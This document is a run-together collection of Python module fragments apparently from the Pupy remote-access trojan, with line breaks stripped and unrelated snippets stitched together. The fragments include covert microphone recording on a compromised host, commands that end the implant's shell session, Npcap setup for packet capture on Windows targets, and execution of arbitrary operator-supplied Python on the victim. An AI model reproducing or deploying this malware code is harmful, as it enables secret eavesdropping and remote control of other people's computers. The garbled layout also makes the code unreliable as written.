def run(self, args): try: os.makedirs(os.path.join("data", "audio_records")) except Exception: pass self.success("starting recording for %ss ..." % args.time) max_length = args.max_length if max_length is None: max_length = args.time if int(max_length) > int(args.time): raise PupyModuleError( "--max-length argument cannot be bigger than --time") for sw, c, r, rf in self.client.conn.modules[ 'mic_recorder'].record_iter(total=args.time, chunk=max_length): filepath = os.path.join( "data", "audio_records", "mic_" + self.client.short_name() + "_" + str(datetime.datetime.now()).replace(" ", "_").replace( ":", "-") + ".wav") save_wav(filepath, sw, c, r, rf) self.success("microphone recording saved to %s" % filepath) if args.view: subprocess.Popen([ self.client.pupsrv.config.get("default_viewers", "sound_player"), filepath ])
def run(self, args): if args.yes: try: self.client.conn.exit() except Exception: pass else: raise PupyModuleError( 'Please conform with --yes to perform this action.')
def run(self, args): if args.yes: try: self.client.conn.exit() except Exception: pass else: raise PupyModuleError("Warning: if you do this you will loose your shell. Please conform with --yes to perform this action.") return "client exited"
def init_winpcap(client): exists = client.remote('os.path', 'exists', False) getenv = client.remote('os', 'getenv', False) environ = client.remote('os', 'environ', False) windir = getenv('WINDIR') if not windir: windir = r'C:\Windows' if not any(exists(windir+'\\'+x) for x in KNOWN_DRIVERS): raise PupyModuleError(NPCAP_NOT_FOUND) PATH = getenv('Path') if 'NPcap' not in PATH: environ['Path'] = PATH + ';' + windir+r'\system32\NPcap'
def run(self, args): code = "" if args.file: self.info("loading code from %s ..." % args.file) with open(args.file, 'r') as f: code = f.read() elif args.code: code = args.code else: raise PupyModuleError("--code or --file argument is mandatory") if args.no_redirected_stdio: self.client.conn.execute(code + "\n") else: with redirected_stdio(self): self.client.conn.execute(code + "\n")